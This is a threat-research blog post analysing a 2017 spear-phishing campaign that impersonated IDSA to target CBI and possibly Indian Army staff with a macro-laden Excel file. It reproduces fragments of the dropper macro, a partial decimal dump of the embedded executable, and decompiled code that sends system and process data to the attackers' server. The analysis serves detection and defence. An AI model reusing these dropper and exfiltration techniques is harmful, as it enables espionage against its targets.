Cyber Attack Impersonating Identity of Indian Think Tank to Target Central Bureau of Investigation (CBI) and Possibly Indian Army Officials

w cysinfo.com /cyber-attack-targeting-cbi-and-possibly-indian-army-officials/

5/11/2017

In my previous blog posts I posted details of cyber attacks targeting Indian Ministry of External Affairs and Indian Navy's Warship and Submarine Manufacturer. This blog post describes another attack campaign where attackers impersonated identity of Indian think tank IDSA (Institute for Defence Studies and Analyses) and sent out spear-phishing emails to target officials of the **Central Bureau of Investigation (CBI)** and possibly the officials of **Indian Army.**

IDSA (Institute for Defence Studies and Analyses) is an Indian think tank for advanced research in international relations, especially strategic and security issues, and also trains civilian and military officers of the Government of India and deals with objective research and policy relating to all aspects of defense and National security.

The Central Bureau of Investigation (CBI) is the domestic intelligence and security service of India and serves as the India's premier investigative and Interpol agency operating under the jurisdiction of the Government of India.

In order to infect the victims, the attackers distributed spear-phishing emails containing malicious excel file which when opened dropped a malware capable of downloading additional components and spying on infected systems. To distribute the malicious excel file, the attackers registered a domain which impersonated the identity of most influential Indian think tank IDSA (Institute for Defence Studies and Analyses) and used the email id from the impersonating domain to send out the spear-phishing emails to the victims.

Overview of the Malicious Emails

In the first wave of attack, The attackers sent out spear-phishing emails containing malicious excel file *(Case Detail of Suspected abuser.xls)* to an unit of Central Bureau of Investigation (CBI) on February 21st, 2017 and the email was sent from an email id associated with an impersonating domain *idsadesk[.]in*. To lure the victims to open the malicious attachment the email subject relevant to the victims were chosen and to avoid suspicion the email was made to look like it was sent by a person associated with IDSA asking to take action against a pending case as shown in the screen shot below.

From	In the second secon
Subject Complaint against non - case filing	Tuesday 21 February 2017 01:16 PM
To provide the second sec	/
dear sir ,	
With due respect I want to say that the case is pending from 10-02-2015 , please Any reply from you courier letter is preferred .	take action against it asap
From	
Contact-	
Indore	
at weben for bull demond have a 1998	

In the second wave of attack, a spear-phishing email containing a different malicious excel file (*Contact List of attendees.xls*) was sent to an email id on the same day February 21st, 2017. The email was made to look like a person associated with IDSA is asking to confirm the phone number of an attendee in the attendee list. When the victim opens the attached excel file it drops the malware and displays a decoy excel sheet containing the list of names, which seems be the names of senior army officers. Even though the identity of the recipient email could not be fully verified as this email id is nowhere available on the internet but based on the format of the recipient email id and from the list of attendees that is displayed to the victim in the decoy excel file, the recipient email could be possibly be associated with either the Indian Army or a Government entity. This suggests that attackers had prior knowledge of the recipient email id through other means.

From Ciduadesk Ins	Septy Septy All + Forward Schweise Junk Selecte More+
Subject List of attendees.	Tuenday 21 February 2017 03:44 PM
Dear sir an an a	
We have tried to reach you on your given number but unfortunately it was phone number given in the attached list so it can be finalized.	asnt responding. Please reply or confirm the
From	
IDSA 🔶	
@1 attachment: Contact List of attendees.als 140 KB	& Save +

In both the cases when the victims opens the attached malicious excel file the same malware sample was dropped and executed on the victim's system. From the emails (and the attachments) it looks like the goal of the attackers was to infect and take control of the systems and to spy on the victims.

Anti-Analysis Techniques in the Malicious Excel File

When the victim opens the attached excel file it prompts the user to enable macro content as shown in the below

screen shot.

🔀 🔚 🔊 - (° - -	Microsoft Excel	_ 0	X
File Home In	Microsoft Excel Security Notice	4	۵ 🕜
Paste B I	Microsoft Office has identified a potential security concern.	Sort & Find &	
Clipboard ा Fe	Warning: It is not possible to determine that this content came from a trustworthy source. You should leave this content disabled unless the content provides critical functionality and you trust its source.	Filter - Select - Editing	¥
	File Path: C:\\Administrator\Desktop\Case Detail of Suspected abuser.xls		
	Macros have been disabled. Macros might contain viruses or other security hazards. Do not enable this content unless you trust the source of this file.		
	More information		
	Enable Macros		
	III 🔲 🛄 10% 😑		€ .;;

To prevent viewing of the macro code and to make manual analysis harder attackers password protected the macro content as show below.

Elle Edit View Insert Format Debug Bun Iools Add-Ins Win	w Help	Type a question for help
図目・日本白西部ので・日日間間間で	0	
Project - VBAProject X		
- M VBAProject (Case Detail of Suspected abuser.xls)		
	URAD minet Damager	
	Turringen Passinolu	
	Password	
	Cancel	
Properties X		
•		
Alphabetic Categorized		

Even though the macro is password protected, It is possible to extract macro code using analysis tools like oletools. In this case oletools was used to extract the macro content but it turns out that the oletools was able to extract only partial macro content but it failed to extract the malicious content present inside a *Textbox* within the *Userform*. Below screen shot shows the macro content extracted by the oletools.



This extracted macro content was copied to new excel workbook and the environment was setup to debug the macro code. Debugging the macro code failed because the macro code accesses the textbox content within the UserForm (which oletools failed to extract). The technique of storing the malicious content inside the *TextBox* within the *UserForm* allowed the attackers to bypass analysis tools. Below screen shot shows the macro code accessing the content from the *TextBox* and the error triggered by the code due to the absence of the *TextBox* content.

Project - VBAProject X	(General) 💌 (karurun	*
Winssit Exel (beck1_co Microsoft Exel (block1_co Sheet1 (sheet1) Sheet2 (sheet2)	path_file = "C:\users\" + strUserName + "\AppData" + "\Roaming" + "\" + path_dom + d + e + f path_dom = "dYT4B5RV3DCu" Dim ar() As String	•
	If Len(Dir(path_file)) = 0 Then ar = Split(UserForm1.TextBox1.Text, ",") path_dom = "dYT4Bdsd5RV3DCu" Dim fileNum As Integer	
ThisWorkbox Workbook Alphabetic Categorized (Name) ThisWorkboo AccuracyVersie Chargerthistry 0 Chargert	Open path_file For Binary As #1 Seek #1, LOF(1) + 1 For row = LBound(ar) To UBound(ar)	

To bypass the anti-analysis technique and to extract the content stored in the *TextBox* within the *UserForm* the password protection was bypassed which allowed to extract the content stored within the *UserForm*. Below screen shot shows the *TextBox* content stored within the *UserForm*.

Project - VBAProject	2 e Detail of Suspected abuser.dis) Otjeds	UserForm1 77.90.1440.30.00.0.255,255.00.184.00.00.00.064.00.00.00.00.00.00.00.00.00.00.00.00.00	
Properties - UserForm)	1		
UserForm1 UserForm			
Alphabetic Categorized			
Disense Lis BackColor BorderColor BorderStyle 0 Caption Us Cycle 0 DrawBuffer 32 Enabled Tri Featled Tri	#Form1 #4/800000F8 #4/800000F8 #4/800000128 finiscrets753/464/ane #form1 finiscrets753/464/ane #form2 #		
ForeColor	&H800000128		
11-1-1-1			

At this point all the components (*macro code* and the *UserForm* content) required for analysis was extracted and an environment similar to the original excel file was created to debug the malicious macro. Below screen shots show the new excel file containing extracted macro code and the *UserForm* content.



Analysis of Malicious Excel File

When the victim opens the excel file and enables the macro content, The malicious macro code within the excel file is executed. The macro code first generates a random filename as shown in the below screen shot.

Project - VBAProje	xt X	(General)	*	karurun	
		d = ".e"			
- S VBAProject	(Book1_contains_extra				
8-S Microsoft	Excel Objects	e = "x"			
一戦 Sheet む ThisW	2 (Sheet2) Varkbook	f = "e"			
io- 🖬 Forms		strUserName = A	pplication.UserName		
		path_dom = "YT4	Bds5RV3DC"		
		path_dom = ruStri	ing(6)		
		path_file = "C:\use	ers\" + strUserName + "\AppD	ata" + "\Roaming" + "\" +	path_dom + d + e + f
4	,	a nath dom = "dVT	AB5RV3DCu"		
Properties - ThisW	/orkbook X	path_uoin = uiri	4DSRV5DOU		
ThisWorkbook Wa	orkbook 🔹	Dim ar() As String			
Alphabetic Catego	rized				
(Name)	ThisWorkbook	If I on/Distanth fil	all = 0 Then		
AccuracyWerstein	0	II Len(Dir(path_III	e)) = 0 Then		
ChangeHistoryDura	600	ar = Split(UserF	Form1.TextBox1.Text, ",")		
CheckCompatibility	False	nath dom = "d)	TARded5RV3DCu"		
ConflictResolution	1 - xlUserResolution	path_uom = u	14Bususky Sbou		
Date1904	False =	Dim fileNum As	Integer		
DisplayInkComman	its True				
DoNotPromptForCo	onv False	3 3 4			•
EnableAutoRecover	True	Locals			
EncryptionProvider	Color	VBAProject. ThisWorkbook. karurun			
Enveloper/tsible	False	Evenessine	Uake	Tune	
FormEuliCaloriation	n False	EMe	Take	This Workbook This	Warkback
HighlightChangesD	wGFalse	The second se	0	Long	2303242
InactiveListBorderV	IslTrue	path_file	"Crasers'Administrator AppData Roa	ning//TNalD exe* String	
IsAddin	False	pas-coon	-	Sting	
KeepChangeHistory	True			China	

It then reads the executable content stored in the *TextBox* within the *UserForm* and then writes the executable content to the randomly generate filename in the *%AppData%* directory. The executable is written in .NET framework

Project - VBAProject	X (General)		▼ karuru	s	
Berger (Bookl_confa Bookl_confa Baretz (Bookl_confa Baretz (Bookl_confa Baretz (Boretz) B) ThisWorkbook w — Forms	path_file = "C path_dom = " Dim ar() As S If Len(Dir(pat ar = Split(L	::\users\" + strUserName dYT4B5RV3DCu" :tring th_file)) = 0 Then // JserForm1.TextBox1.Te	• + "\AppData"	+ "\Roaming" + "\" + pati	n_dom + d + e + f
	path dom	= "dYT4Bdsd5RV3DCu"			
< III					
Properties - ThisWorkbook	x Dim fileNu	m As Integer			
ThisWorkbook Workbook	 Open path 	file For Binary As #1			
Alphabetic Categorized	Seek #1	OF(1) + 1			
(Neme) ThisWorkbool AccuracyVersion 0 Auto/Joskerineueno Othere/Compatibility Faile ConflictResolution 1 = xUserRes Dete1904 Faile	For row = I Put #1, , Next Close #1	LBound(ar) To UBound(CByte(ar(row)) (ar)		
DisplayInkComments True DoNotPromptForCons False	mayona = 4				<u>,</u>
EnableAutoRecover True EncryptionDrovider	Locals				
EnvelopeVisible False	VBAProject. ThisWorkbook.karurun				
Final False	Expression T Ma	Value		Type The illinghtook The Mankhare	*
Foros-ulicalculation False	a true	33702		Long	•
InactiveListBorderVisil True	path_Ne	"C'users'Administrator/AppD	wta/Roaming/VTNaID.exe*	String	
ItsAddn False	- the Canada	-		ang	
🕒 🔍 🕨 🕨 Compute	r 🕨 Local Disk (C:) 🕨 Users 🕨 Adm	ninistrator > AppData > Roaming	•		• 47
Organize * Include	in library * Share with * Bu	urn New folder			
🚖 Favorites	Name	Date modified	Туре	Size	
E Desktop	VTNalD.exe	4/23/2017 11:30 PM	Application	33 KB	

The content stored in the *TexBox* within the *UserForm* is an executable content in the decimal format. Below screen shot shows converted data from decimal to text. In this case the attackers used the *TextBox* within the *UserForm* to store the malicious executable content.

Input:

77,90,144,0,3,0,0, 7, 4,0,0,0,255,255,0,0,184,0,0, Ξ ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,0,0,0,14, 31,186,14,0,180,9,205,33,184,1,76,205,33,84,104, 105,115,32,112,114,111,103,114,97,109,32,99,97,1 10,110,111,116,32,98,101,32,114,117,110,32,105,1 10,32,68,79,83,32,109,111,100,101,46,13,13,10,36 ,0,0,0,0,0,0,0,80,69,0,0,76,1,3,0,192,121,165,88 ,0,0,0,0,0,0,0,0,224,0,2,1,11,1,48,0,0,124,0,0,0 ,6,0,0,0,0,0,0,94,155,0,0,0,32,0,0,0,160,0,0,0,0 ,64,0,0,32,0,0,0,2,0,0,4,0,0,0,0,0,0,0,4,0,0,0 ,0,0,0,0,224,0,0,0,2,0,0,0,0,0,0,0,2,0,64,133,0,0, ,0,0,0,0,0,0,0,0,12,155,0,0,79,0,0,0,0,160,0,0,1 ,0,12,0,0,0,212,153,0,0,28,0,0,0,0,0,0,0,0,0,0,0,0 0,8,32,0,0,72,0,0,0,0,0,0,0,0,0,0,0,0,46,116,101,1 20,116,0,0,0,100,123,0,0,0,32,0,0,0,124,0,0,0,2, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,0,0,96,46,114,115 ,114,99,0,0,0,160,3,0,0,0,160,0,0,0,4,0,0,0,126, Output: M7. L IIIIII This program cannot be run in DOS mode, LLLS LLLLLLL ILHIIIIIIII, textIIId{III IIIIIIIIIIIIIIIIIII IL`, rsrcllllllllllllll...relocllllllllll LILLILLILLILLIA LIBILLILLILLILLA LILLIHILLILLA LILLA $(llll + l_{\sim} llll - l_{r} lll_{p} llll$ (LLLL₀ LLLL₅ LLLLLLL₁ LLLL * L₂ LLLL * LLLLL * L₂ LLLL * LL (LLLL*VsLLL(LLLLtLLLLLL*L*.s) LLLLLLL*LL0LLCLLLLL (n!!!!s!!!!!!!(2!!!~!!!!, !~!!!!, !(|!!!s8!!!!!!!+! ll: Lll&lr9Llpl&L~LLLL&lrILlpl&L~LLLL&lrOLlpl(LLLsLLL (LILLt<LLL&rmLlpolLLL&rullpolLLLo LLLtLLLLo!LLL LLLI35Lo"LLLs#LLLLLoSLLLo

The dropped file in the %AppData% directory is then executed as shown in the below screen shot.

(General)	▼ loadPro	
Sub appLoadr()		
Call karurun		
End Sub		
Sub loadPro(strP	rogramName As String)	
Dim doomday	As String	
Dim strArgume	nt As String	
doomday = "dd	eddYT4ededB5RV3DCuu%u"	
		(and the second s
Call Shell(a strerogramname a , vonormair	ocus)
End Sub		
Sub WaitFo(Num	OfSeconds As Long)	
Dim SngSec As	Long	
Dim doomday	As String	
	as earling	
= 3 4		
Locals		
VBAProject.ThisWorkbook.loadPro		
Expression	Value	Type Thirl//orkbank
strProgramName	"C:/usersiAdministrator/AppData/Roaming/VTNalD.exe"	String
stArgument	-ddsdd7T45d5dD0TV0DOustod	String String

Once the dropped file is executed it copies itself into *%AppData%\SQLite* directory as *SQLite.exe* and executes as shown below.

hoosses Services Network Disk	I SOL Re ave (2700) Pronetties	
Name		
srvany.exe	General Statistics Performance Threads Token Modules Nemory Environment Handles NET assemblies NET performance GPU Disk and Network Co	mment
& KMServic	File SOLITE	
VGAuthServ	(UNVERIFIED) Intel	
vmtoolsd.exe	Version: 3.0.0.0	
Image: Paulo Con	Image file name:	
E TPAutoCo	C:\Users\Administrator\AppData/Roaming(SQUte(SQUte)see	9
dllhost.exe	Process	
A msdtc.exe	Command line: *C:/Users\Administrator\AppData/Roaming(SQUte\SQUte.exe* -f) -o *C:/Users\Administrator\AppData/Roaming/SQUte\SQUte.exe	2
taskhost.exe	Current directory: C:\Users\Administrator\Documents\	
Searchinde	Started: 19 seconds ago (11:32:37 PM 4/23/2017)	
OSPPSVC.E	PEB address: 0x7ffdb000	
svchost.exe	Parent: Non-existent process (1208)	
📧 Isass.exe	Mitiation policies: DEP (permanent)	Details
Ism.exe	Protection: None Permissions	Terminate
CSrss.exe		T CTIMINAL
conhost.exe		
d winlogon.exe		
explorer.exe		
wntoolsd.exe		
ProcessHack		
EXCEL.EXE		
SQLite.exe		Close

As a result of executing *SQLite.exe* it makes a HTTP connection to the C2 server (*qhavcloud[.]com*). The C2 communication shown below contains a hard coded user-agent and the double slash (//) in the GET request this can be used to create network based signatures.



Reverse Engineering the Dropped File (SQLite.exe)

The dynamic/sandbox analysis did not reveal much about the functionality of the malware, in order to understand the capabilities of the malware, the sample had be reverse engineered. The malware sample was reverse engineered in an isolated environment (without actually allowing it to connect to the c2 server). This section contains reverse engineering details of this malware and its various features.

a) Malware Validates C2 Connection

Malware checks if the executable is running as *SQLite.exe* from *%AppData%\SQLite* directory, if not it copies itself as *SQLite.exe* to *%AppData%\SQLite* directory as shown below.



It then launches the executable (SQLite.exe) with the command line arguments as shown in the below screen shots.

pr	ivate static void Lounchapy()	
	<pre>Launcher.lg = new Logs(); string str = Variables.filepath + "\\" + Variables.value + "\\SQLite.exe"; ProcessStartInfo processStartInfo = new ProcessStartInfo(); processStartInfo.CreateNoWindow = false; processStartInfo.FileName = Variables.filepath + "\\" + Variables.value + "\\SQLite.exe"; processStartInfo.WindowStyle = ProcessWindowStyle.Hidden; processStartInfo.Arguments = "-f j -0 \"" + str; try { Process.Start(processStartInfo); } catch (Exception) { </pre>	
,) I	
SQLite.exe (1060)	Properties	- 6 ×
General Statistics Per	formance Threads Token Modules Memory Environment Handles .NET assembles .NET performance GPU Disk and Network Comment	
File SQUIte (UNVER) Version: 3.0.0.0	FIED) Intel	
Image file name:		
C:/(Jsers/test/App	Data/Reaming/GQUItr/SQUItr/SQUItr/SSP	a 👝
Command line:	"C: User/bet/AppData/Roaming/SQLIte/SQLIte/SQLIte/SQLIte/SQLIte/SQLite	0
Current directory:	C/Users/test/AppData/Roaming(SQUte)	
Started	16 minutes and 35 seconds ago (8:57:41 PM 4/13/2017)	
PER address	bo/15:000	
Parent:	dr.Gay.ene (1752)	0
Mitingtion policies:	DEP (nermanent)	Detab
cardiance bracker	en Bernand	C-clara

Malware performs multiple checks to make sure that it is connecting to the correct C2 server before doing anything malicious. first its pings the C2 domain *qhavcloud[.]com*. Below screen shots show the ping to the C2 server.

	<pre>try { if (new Ping().See { Variables.Ping Client.IsAlive else { Variables.Ping } } catch (Exception) { }</pre>	nd(Variables.normhours). gServer = true; e(); gServer = false;	.Status == IPSt	tatus.Success) <table-cell-columns></table-cell-columns>	
47 442738	102 168 1 68	102 168 1 22	DNS	Standard query & ghaveloud com	
57.447874	192.168.1.22	192.168.1.60	DNS	Standard query response A 192.168.1.22	

									and the second	
	67.512202	192.168.1.60	192.168.1.22	ICMP	Echo (ping)	request	id=0x0001,	seq=1/256,	ttl=128	
	77.512231	192.168.1.22	192.168.1.60	ICMP	Echo (ping)	reply	id=0x0001,	seq=1/256,	ttl=64	
I	f the ping su	cceeds then it	determines if C2 serv	ver is aliv	e by sending	g an HT	TP reques	st, it then r	eads the	; conten
2		المعالم معرفي معرف		"Common	ملاميما "الإلمام		£	in a "Cara	a a ati a la l"	:
т	rom ine t.2 9	server and look	s for a specific siring	i Connee	cnon ппо	nes nor	nna me si	rina c.an	necnoni	IT ASSIII

from the C2 server and looks for a specific string "Connection!". If it does not find the string "Connection!" it assumes that C2 is not alive or it is connecting to the wrong C2 server. This technique allows the attackers to validate if they are connecting to the correct C2 server and also this technique does not reveal any malicious behavior in dynamic/sandbox analysis until the correct response is given to the malware. Below screen shots show the code that is performing the C2 connection and the validation.



If the ping does not succeed or if the C2 response does not contain the string "Connection!" then the malware gets

the list of backup C2 servers to connect by downloading a text file from the Google drive link. This technique of storing a text file containing the list of backup C2 servers on the legitimate site has advantages and it is highly unlikely to trigger any suspicion in security monitoring and also can bypass reputation based devices. Below screen shots show the code that downloads the text file and text file (info.txt) saved on the disk.

(// Tok public	cen: 0x06000068 RID: 104 R : static void DriveDownloa	VA: 0x00004784 File Offset: dFile()	0x00002984		
{ tr { } } cc { } } // Tok	<pre>if (Client.Connect() != { Uri address = new Ui new WebClient().Dow(} else { Variables.PingServen Variables.AliveServen } etch (Exception) </pre>	<pre>"Connection!") ri((Variables.GoogleDriveUr nloadFile(address, Variable r = true; er = true; //A: 0x00004808 File Offset:</pre>	1 ?? "") ?? "" s.filepath + " 0x00002A08); /\\" + Variables.value	+ "\\info.txt");
4 4 4	Value Intips://drive.google.com	n/uc?export−download8id=08z8YcqXfoc€1M	(Xg1enFYVVRZ2s)	Type System Uri	-
Gov L + Compu	tter ▶ Local Disk (C) ▶ Users ▶ test ▶	AppData + Roaming + SQUte +			• 49
Organize • Inclus	Name	Date modified	Turne	Size	
E Desktop	Freed as (04300 T)	40300012.0.57.044	The fielder	2000	
b Downloads	info.bt	4/10/2017 2:34 AM	Text Document	1 KB	
S. Recent Places	SQLite.exe	4/8/2017 10:59 PM	Application	33 KB	
Concernente					

During the time of analysis the text file downloaded from the Google drive link was populated with two private IP addresses, it looks like the attackers deliberately populated the IP addresses with two private IP addresses to prevent the researchers from determining actual IP/domain names of the backup C2 servers. Below screen shot shows the IP addresses in the text file.

info.txt - Notepad	- 6 💌
File Edit Format View Help	
192, 168, 0, 100 192, 168, 0, 101	1

Once the text file is downloaded the malware reads each and every IP address from the text file and performs the same C2 validation check (ping and checks for the string *"Connection!"* from the C2 response). Below screen shot shows the HTTP connection made to those IP addresses.

No. Time	Source	Destination	Pretocal	infa
41 5487.494225	192.168.1.60	192.168.0.100	TCP	49180 > 80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=2
42 5487.494323	192.168.0.100	192.168.1.60	TCP	80 > 49180 [SYN, ACK] Seq=0 Ack=1 Win=14600 Len=0 M
43 5487.494443	192.168.1.60	192.168.0.100	TCP	49180 > 80 [ACK] Seq=1 Ack=1 Win=65536 Len=0
44 5487.494741	192.168.1.60	192.168.0.100	HTTP	GET //northernlights//PingPong.php HTTP/1.1
45 5487.494755	192.168.0.100	192.168.1.60	TCP	80 > 49180 [ACK] Seq=1 Ack=139 Win=15680 Len=0
46 5487.505756	192.168.0.100	102 169 1 60	Follow TCP Street	[TCD compart of a reasonabled PDU]
47 5487.507547	192.168.0.100	Stream Cantert		
48 5487.508093	192.168.1.60	GET //northernlights//P:	ingPong.php	HTTP/1.1 =410 Win=65280 Len=0
49 5487.508108	192.168.1.60	User-Agent: SQLite/2.0	(Instruction	Request) 9 Ack=410 Win=65280 Len:
50 5487.508113	192.168.0.100	Host: 192.168.0.100 ←	=140 Win=15680 Len=0	
		Connection: Keep-Alive		

No. Time	Seurce	Destination	Protocol	teda .
07 6015.865865	192.168.1.60	192.168.0.101	TCP	49181 > 80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=2
08 6015.865922	192.168.0.101	192.168.1.60	TCP	80 > 49181 [SYN, ACK] Seq=0 Ack=1 Win=14600 Len=0 M
09 6015.866048	192.168.1.60	192.168.0.101	TCP	49181 > 80 [ACK] Seq=1 Ack=1 Win=65536 Len=0
10 6015.866303	192.168.1.60	192.168.0.101	HTTP	GET //northernlights//PingPong.php HTTP/1.1
11 6015.866310	192.168.0.101	192.168.1.60	TCP	80 > 49181 [ACK] Seq=1 Ack=139 Win=15680 Len=0
12 6015.876035	192.168.0.101	11	n	tollow TCP Stream
13 6015.877978	192.168.0.101	1 Streen Centerd	inhte //DingD	Cons she UTTD/1 1
13 6015.877978 14 6015.878427	192.168.0.101 192.168.1.60	19 GET //northernl.	ights//PingP	Pong.php HTTP/1.1 in=65280 Len=0
13 6015.877978 14 6015.878427 15 6015.878439	192.168.0.101 192.168.1.60 192.168.1.60	GET //northernl. User-Agent: SQL Host: 192.168.0	ights//PingP ite/2.0 (Ins .101 ◀	Pong.php HTTP/1.1 in=65280 Len=0 410 Win=65280 Len
13 6015.877978 14 6015.878427 15 6015.878439 16 6015.878444	192.168.0.101 192.168.1.60 192.168.1.60 192.168.1.60 192.168.0.101	1 GET //northernl. 1 User-Agent: SQL 1 Host: 192.168.0 1 Connection: Kee	ights//PingP ite/2.0 (Ins .101 ◀ p-Alive	Pong.php HTTP/1.1 struction Request) in=65280 Len=0 410 Win=65280 Len=0 in=15680 Len=0

b) Malware Sends System Information

Based on the analysis it was determined that the malware looks for a string *"Connection!"* in the C2 response, so the analysis environment was configured to respond with a string *"Connection!"* whenever the malware made a C2 connection. Below screen shot shows the C2 communication made by the malware and the expected response.

No. Time	Source	Destination	Protocol	info		
12100.786573	192.168.1.60	192.168.1.22	TCP	49175 > 80	[SYN]	Seq=0 Win=8192 Len=0 MSS=1460 WS=2
13 100.786619	192.168.1.22	192.168.1.60	TCP	80 > 49175	[SYN,	ACK] Seq=0 Ack=1 Win=14600 Len=0 MS
14 100.786729	192.168.1.60	102 168 1 22	Fellow TCP	4017E . 00	TACK1	Con-1 Ack=1 Win=65536 Len=0
15 100.796750	192.168.1.60	Stream Content				Pong.php HTTP/1.1
16 100.796817	192.168.1.22	GET //northernli	ghts//PingPo	ng.php HTTP/1.	1	=139 Win=15680 Len=0
17 100.803746	192.168.1.22	User-Agent: SQLi	te/2.0 (Inst	ruction Reques	it)	led PDU]
18 100.805715	192.168.1.22	Host: qhavcloud.	com 🔶			1)
19 100.807479	192.168.1.60	Connection: Keep	-Alive			ck=163 Win=65536 Len=0
42 167.754618	192.168.1.60	1				139 Ack=163 Win=65536 Len:
43 167.754682	192.168.1.22	Server: ThetSim	UTTP Server			in=0 Len=0
		Connection: Clos	e server			
		Content-Length:	12			
		Content-Type: te	xt/html			
Frame 12: 66 b	bytes on wire (528 bi	t Date: Tue, 26 Ju	1 2016 22:55	:17 GMT		
Ethernet II, S	Src: 00:0c:29:0f:9f:0	57				d2:69)
Internet Proto	ocol Version 4, Src:	1 Connection!				2)
Transmission (Control Protocol, Sro					

Once the malware validates the C2 connection then the malware creates an XML file (SQLite.xml) inside which it stores the *user name* and the *password* to communicate with the C2 server.

Malware generates the *user name* to communicate with the C2 by concatenating *a*) *the machine name*, *b*) *a random number between 1000 to 9999* and *c*) *the product version of the file*. Below screen shot shows the code that generates the *user name*

	78 catch (Exception)						
	80	<u> </u>					
	Variables.ISQLMANAG	<pre>GER_UserName = string.Concat(ne</pre>	w object[]				
	82						
	83 text,						
	84						
	85 machineName,						
	86sqlite_",						
	87 num,						
	88 "Ver:",						
	89 text2						
	98						
	91 byte[] array = new	byte[16];					
	92 new Random().NextBy	tes(array):					
	93 Variables, TSOL MANAG	FR Password = Convert, ToBase64	String(array), Replace("+", "-"), Repl	ace("/", " "):			
	94		and four all track and a little house				
	95 catch (Exception)						
	96						
	97						
5%							
cals							
lame		Value	Type				
	est .	"Windows User"	string				
9							
9							
2 1	ext2		string				
•	итау	nul					

Malware generates the password to communicate with the C2 by building an array of 16 random bytes, these random bytes are then encoded using base64 encoding algorithm and malware then replaces the characters "+" and

"/" with "-" and "_" respectively from the encoded data. The attackers use the technique of replacing the standard characters with custom characters to makes it difficult to decode the string (containing the characters "+" and "/") using standard base64 algorithm. Below screen shot shows the code that generates the password.

90 }); 91 byte[] array = new 92 new Random().Next 93 Variables.ISQLMAN 94 } 95 catch (Exception) 96 (97 }	<pre>w byte[16]; Bytes(array); AGER_Password = Convert.ToBase64String(arr </pre>	ay).Replace("+", "-").Replace("	/", "_");
98 }			
s			
e de la companya de l	Value	Туре	
апау	byte(0x00000010)	byte[]	
🤗 [0]			
🤗 [1]		byte	
🤗 [3]	0x81		
₽ [4]		byte	
🗢 [5]	0xF4		
🤗 [6]			
e [7]	0x84		
	0x89		
🤗 [9]			
🤗 [10]			
🤗 [11]			
[12]	0x86	byte	
e na	0x57	byte	

Once the *user name* and *password* is generated, malware then creates an XML file (SQLITE.xml) and populates the XML file with the generated user name and password. Below screen shot shows the code that creates the XML file

{	
	XmlTextWriter expr_1F = new XmlTextWriter(Variables.filepath + "\\" + Variables.value + "\\SQLITE.xml", nu
	expr_1F.WriteStartDocument();
	expr_1F.WriteComment("First Comment XmlTextWriter Sample Example");
	expr_1F.WriteComment("myXmlFile.xml in root dir");
	expr_1F.WriteStartElement("CLIENT");
	expr_1F.WriteStartElement("r", "RECORD", "urn:record");
	expr_1F.WriteStartElement("USERNAME", "");
	expr_1F.WriteString(Variables.ISQLMANAGER_UserName); 🚄
	expr_1F.WriteEndElement();
	expr_1F.WriteStartElement("PASSWORD", "");
	expr_1F.WriteString(Variables.ISQLMANAGER_Password);
	expr_1F.WriteEndElement();
	expr_1F.WriteEndDocument();
	expr 1E.Close():

Below screen shot shows the XML file populated with the *user name* and the *password* which is used by the malware to communicate with the C2 server.

🖬 C1	Wsers/txers/txepData/Roaming/SQUte/SQUTExml - Notepad++		×
File (Edit Search View Encoding Language Settings Tools Macro Run Plugins Window ?		X
a L) H & (-) +		
E so	ALTERNA 🕄		
1	xml version="1.0"? <ifirst comment="" example="" sample="" xmltextwriter=""><imyxmlfile.xml dir="" in="" root=""><client><r:record <="" td="" xmlns:r="urn::
><USERNAME>Windows User_WIN-T9UN4HIIHEC_sqlite_1570Ver:3.0.0.0</USERNAME><PASSWORD>kHFzgR70NISJfZNOhhHcVw==
</PASSWORD></r:RECORD></CLIENT></td><td>record"><td></td></r:record></client></imyxmlfile.xml></ifirst>		

The malware then collects system information like the computer name, operating system caption, IP address of the infected system, product version of the executable file and sends it to the C2 server along with the generated user

name and *password* using a POST request to *postdata.php*. Below screen shots show the code that collects the system information and the data that is sent to the attacker.

Arme Vorde Vorde Vorde Vorde Vorde	"ComputerName" Gallout	string string
Prome Pocode Packet association	ComputerName*	string
Packet modellist	0#0003	
macket int		Short
	Renter Collectory County State State and Market State State	System rype
powerra	System Collections Generic Sortedust <short, explmanager="" global="" packet.<="" td=""><td>System Collections Generic Softed.,</td></short,>	System Collections Generic Softed.,
	ISgimanager, Giobal, Packet, Packet i ype	ISgimanager.Global.Packet.Packet
	Microsoft Windows / Ultimate	string
Name	Caption_OperatingSystem	sung
Opcode	0/0004	short
Packet	nul	System.Type
packetList	System Collections. Generic SortedList (short, ISqlManager.GlobaLPacket.	System.Collections.Generic.Sorted
	ISqlManager.Global.Packet.PacketType	ISqlManager.Global.Packet.Packet
	"192.168.1.60PC"	string
- Name	"Localp"	string
	0x0012	
	nul	System.Type
packetList	System Collections Generic SortedUst <short, isqlmanager.global.packet.<="" td=""><td>System.Collections.Generic.Sorted</td></short,>	System.Collections.Generic.Sorted
	ISqlManager.Global.Packet.PacketType	ISqlManager.Global.Packet.Packet
	-3.0.0.0*	string
	Version "Version" and the second s	string
Opcode	0x0014	short
Packet	nul	Sectorn Type
	Follow TCP Stream	
//nonthorn] inhts //nonth	ta sha UTTO /1 1	
//northernlights//postda	ta.pnp HIP/1.1	
ent-ivpe; application/x-w	www-rorm-urcencoded	
: abaycloud.com		
t: qhavcloud.com 🔶		
: qhavcloud.com		
: qhavcloud.com		

c) Malware Sends Process Information

Malware then enumerates the list of all the processes running on the system and sends it to the C2 server along with the *user name* and *password* using a POST request to *JobProcesses.php* as shown in the below screen shots. This allows the attackers to know which programs are running on the system or if any analysis tools are used to inspect the malware.



4			Uri address = ne	w Uri(string.Concat(new string[]			
	41		("bttp://"				
	12		Variables no	nahouns			
	14		"//".	mnours,			
			Variables_D	irnamesList,			
			"//JobProces	ses.php"			
	17)));				
100			Variables.formDa	ta["USERNAME"] = Variables.ISQLMANAGER	_UserNam	ne;	
			Variables.formDa	ta["PASSWORD"] = Variables.ISQLMANAGER	_Passwor	rd; 🖌	
•			byte[] bytes = n	ew WebClient().UploadValues(address, "	POST", V	Variables.formDat	ta);
			result = Encodin	g.ASCII.GetString(bytes);			
	52		Variables.isproc	esssent = true;			
	33		}				
	55		Catch (Exception)				
	56		result = "";				
	57		Variables.isproc	esssent = false;			
	59		return result;				
	50	}					
	52)						
125 %							
Locals							
Name				Value		Туре	
Þ 🤗 at	dress			{http://qhavcloud.com//northernlights//lobProcesses.php}		System.Uri	
- 01	nts			Tius		byte[]	
Onan Carl	ant and						
